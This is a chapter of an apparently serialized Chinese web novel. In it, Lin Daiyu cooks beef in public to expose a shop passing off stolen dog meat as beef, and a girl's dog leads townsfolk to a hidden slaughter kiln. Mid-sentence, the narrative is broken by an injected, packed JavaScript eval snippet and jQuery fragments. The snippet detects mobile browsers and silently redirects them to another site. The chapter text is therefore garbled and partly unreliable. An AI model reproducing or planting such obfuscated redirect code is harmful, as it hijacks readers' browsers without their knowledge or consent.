31. 不见的狗

作品:《红楼之黛玉美食探案江湖行

    黛玉挽起衣袖,露出一截纤细的手腕,净了手。阿真已默契地递上随身小包袱,从中取出一把菜刀来。


    这刀刀身细长,背厚刃薄,通体泛着冷冽的钢青色,手柄是温润的老竹,显然日常被精心养护,是黛玉惯用的家伙什。


    刀一亮出来,懂些门道的人便在心里暗赞了一声:好刀!只是拿来切肉,未免有些大材小用。


    夏日的蓝天晃得人眼晕,锅里水汽蒸腾,周遭的蝉鸣和人声搅得空气愈发燥热。


    黛玉眼睫微垂,神色丝毫不为喧嚷所动。她将阿真从隔壁肉铺现买来的一块新鲜牛腱子肉,高高举起,好让周围人都能看清。


    “各位请看,这是方才在隔壁吴记肉铺现割的黄牛腱子。筋肉分明,色泽鲜红匀称,皮下脂肪洁白。”黛玉指尖按压,“触手微凉而富弹性,乃新鲜之证。”又凑近些,让前排的人能闻,“气味清新,只有淡淡的草腥气,绝无异味。”


    有那常年买肉的老熟客伸头细看,不由点头:“确是上好的黄牛腱子!”


    “吴记的肉向来实在!”


    得了众人初步认可,黛玉才将肉置于案板。刀尖轻挑,寻到肌理间的缝隙,顺着纹路,一寸一寸地剔除那几条白色的筋膜。下刀精准无比,刀刃游走间,只分离筋膜与精肉,绝不伤及旁边的肌理分毫,更无半点拖泥带水。


    原本躁动的人群,竟渐渐安静下来,不由自主地被精妙刀工吸引。就连那胖掌柜,不受控制地抽搐了两下。


    剔净筋膜的牛肉,肌理清晰可辨。黛玉取过粗陶碗,开始调配香料:花椒、小茴香、桂皮、丁香、白芷,每样取量少许。她又从面摊的调料罐里,只捏了一小撮盐,两粒□□糖。


    锅已烧热,黛玉只下了薄薄一层清油,油纹刚起,便将整块牛肉煎至浅金黄色,锁住肉汁,随即注入清水。


    水将沸未沸时,才将配好的香料用干净纱布包好投入,再加两片姜、一段葱。


    清澈醇和的气息,随着袅袅水汽,渐次弥散开来。围观的人群不少人不由多嗅几下,身心活络了不少,这才是牛肉的真情实感!


    黛玉在那锅沿泛起细密蟹眼泡时,便示意老汉将柴火抽去大半,让汤面始终保持着将微微涌动的状态。


    一刻钟,分毫不差,她抬手示意:“熄火。”


    时间到,肉成。黛玉用竹筷夹出那块牛肉时,围观的人群发出疑惑的嗡嗡声。


    那肉看起来……太朴素了。颜色是均匀的浅褐色,不像冯记那般酱黑油亮;块头也完整,并未因久煮而松散。甚至,也闻不到太多扑鼻的肉香。


    黛玉将肉置于干净案板,用那把薄刀,横向轻轻片开。


    第一刀落下,第二刀、第三刀……薄如纸的肉片叠在素白瓷盘里,隐隐透光。


    先前被冯记浓香熏得有些发腻的嗅觉,此刻被这清雅香气一涤,顿觉清爽。再看冯记锅里那油亮酱黑的肉,对比之下,确实有些浑浊了。


    有那大胆的食客,忍不住上前讨了一小片。


    放入口中,先是微烫,继而肉质弹嫩,汁水丰盈,香料的味道若有若无,丝毫不抢牛肉本味,咀嚼间满口生香。


    “这……这才是牛肉该有的味儿啊!”


    “冯记的肉跟这一比,是有点……说不出的怪。”


    议论声渐渐大起来。


    胖掌柜的脸,已经从红转白,又从白转青。他盯着黛玉,眼神像是要喷出火来,突然一把抄起案上那柄厚重的切肉刀,喝道:“哪来的妖女,用邪术坏我生意!”


    刀锋闪着寒光,直朝黛玉劈来!


    围观人群惊呼后退。


    电光石火间,一直静立在黛玉身侧的阿真动了。


    没人看清她如何出手,只听“叮”一声锐响。


    那柄厚重的切肉刀,竟被一根普普通通的竹筷,牢牢地钉在了厚实的木质案板上!刀身嗡嗡震颤,胖掌柜握着刀柄的手被震得发麻,虎口崩裂,渗出血来。


    阿真仍站在原地,只淡淡看了他一眼:“说话就说话,动什么刀。”


    一根筷子,钉穿厚刀,这手功夫,镇住了所有人。


    就在这剑拔弩张的寂静时刻,一个瘦小的身影,突然从人群外围拼命挤了进来。


    那是个约莫十二三岁的小姑娘,穿着打补丁的灰布衣衫,头发枯黄,面黄肌瘦,怀里却紧紧抱着一只同样瘦骨嶙峋、毛色杂乱的小黄狗。


    “等、等一下!”


    她冲到那被钉住的切肉刀旁,不顾危险,从地上捡起几片碎皮和半个残破的、染着污渍的皮质项圈,高高举起。


    “狗大……够大闻出来了!”她急急道,手指着冯记那口大锅,“这肉里……有它媳妇儿小花的味道!还有巷子口黑子、西街的斑点……都是最近不见了的狗!”


    她怀里的小黄狗冲着那口锅发出悲愤的呜咽,挣扎着要扑过去。


    人群里响起一阵骚动和低语。


    “咦?这不是瓦子巷薛家那个捡来的丫头吗?”


    “好像是她!听说有点邪门,能跟猫狗说话……”


    “对对,我舅姥爷家的老马不吃草,就是她给瞧好的,也没见她用什么药,摸摸马脖子嘀咕几句,那马就好了!”


    “人小小的,倒真有几分本事,经她手的牲口,好些都活蹦乱跳了。我二姑家的猫……”


    香菱人虽然被禁锢了,但“小兽医”或“能与动物交流的怪丫头”的名声,已在市井间悄然传开。


    此刻见她突然出现指证,不少人心里已经信了几分。


    胖掌柜面色剧变,上前就要抢了香菱手中的项圈,厉声吼道:“哪里来的疯丫头!满嘴胡言!抱条野狗就来诬陷!”


    黛玉挡在香菱的面前,阻止了胖掌柜的动作:“是不是诬陷,查查便知。”


    “掌柜的,你说这是黄牛肉。”黛玉从袖中取出一个小小的纸包——那是她方才煮肉时,趁人不备,用竹签从冯记锅中蘸取的一点汤汁,早已冷凝,“可这汤汁冷凝后,油脂的气味里,除了牛油,分明还混着一股子土腥燥气,正是未经阉割的成年公狗特有的体味。”


    胖掌柜“我……我……”说不出个所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937279|192896||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以然。


    阿真无声无息地挪到了店铺后门处,手指在门栓上一拂,那看似牢固的门闩竟悄然滑落。查找了一圈之后,没有发现其它的肉料放置在哪儿。


    阿真将查出的账册递给黛玉,“林姑娘,后间找到的进货记录……很有意思。”


    黛玉接过,纤指翻动:“这些杂肉,作价不足市面牛肉三成。掌柜的,你还有何话说?”


    光有账册和气味,或许还不够铁证。黛玉沉吟片刻,盯着紧紧抱着狗大身体仍在发抖的香菱身上,“小姑娘,你说狗大能闻出伙伴的味道……那它能带路,找到这些杂肉是从藏在哪个地方吗?”


    香菱一愣,抬头看向黛玉。这位清丽如仙的姐姐,眼神里没有旁人常有的厌恶,她点头,蹲下身,将项圈碎片凑到阿黄鼻子前,道:“狗大,带我们去找小花……最后去的地方。”


    狗大急鼻子贴着地面,它先在冯记铺子后门处反复打转,然后猛地朝一个方向冲去。


    “跟上它!”阿真低喝一声,示意几个面有愤色的壮实街坊一同前往。


    香菱紧跟狗大,黛玉和阿真随在其后,还有一群将信将疑又义愤填膺的百姓。


    狗大七拐八绕,竟出了城门,直奔西南郊野。


    越走越是荒凉,最后在一片乱坟岗旁的废弃砖窑前,阿黄停了下来,对着黑黢黢的窑洞狂吠不止,叫声凄厉。


    还未等众人靠近,一股浓烈的血腥气和动物粪便的恶臭便扑面而来。


    窑洞深处,隐约传来虚弱的呜咽和铁链拖动声。


    阿真艺高人胆大,点燃火折子当先进入。火光映照下,眼前的景象让随后跟进来的人倒吸一口凉气——


    窑洞内肮脏不堪,地上凝固着黑红的血垢,墙上挂着锈迹斑斑的钩子和刀具。几个破烂铁笼里,关着几只气息奄奄、伤痕累累的狗,还有两只猫。角落里堆着一些皮毛和骨头,依稀可辨是狗狗所具有的特征。窑洞深处,散落着一些晒干的颜色诡异的草茎。


    黛玉上前,捡起几根草茎,凑近鼻端,蹙眉道:“果然是迷梦草,药性猛烈,能致动物昏沉无力,任人摆布。”


    此刻,无需再多言语。冯记挂牛头卖狗肉,并使用毒草诱捕、盗杀民间猫狗的黑心行径,已是铁证如山。


    众人押着垂头丧气的胖掌柜回到冯记铺子前时,这里已被闻讯赶来的衙役围住。


    黛玉当众将账册、残留的迷梦草、以及从屠宰场救出的几只幸存动物展示出来。


    “以次充好是为欺,盗杀民犬是为盗,使用毒草是为害。此等行径,不仅玷污姑苏食肆清誉,更是视律法与人情如无物。”


    往日里光顾冯记的客人更是感到一阵反胃和愤怒。衙役当场查封铺面,锁拿胖掌柜及一众帮工。


    此事已经尘埃落定,人群渐渐散去。


    黛玉微微舒了口气,神色间带着明显的疲惫。阿真连忙递上水囊,低声道:“林姑娘,此地不宜久留,我们得赶紧找地方落脚。”


    就在这时,一个瘦小的身影,从街角的阴影里怯怯地挪了出来。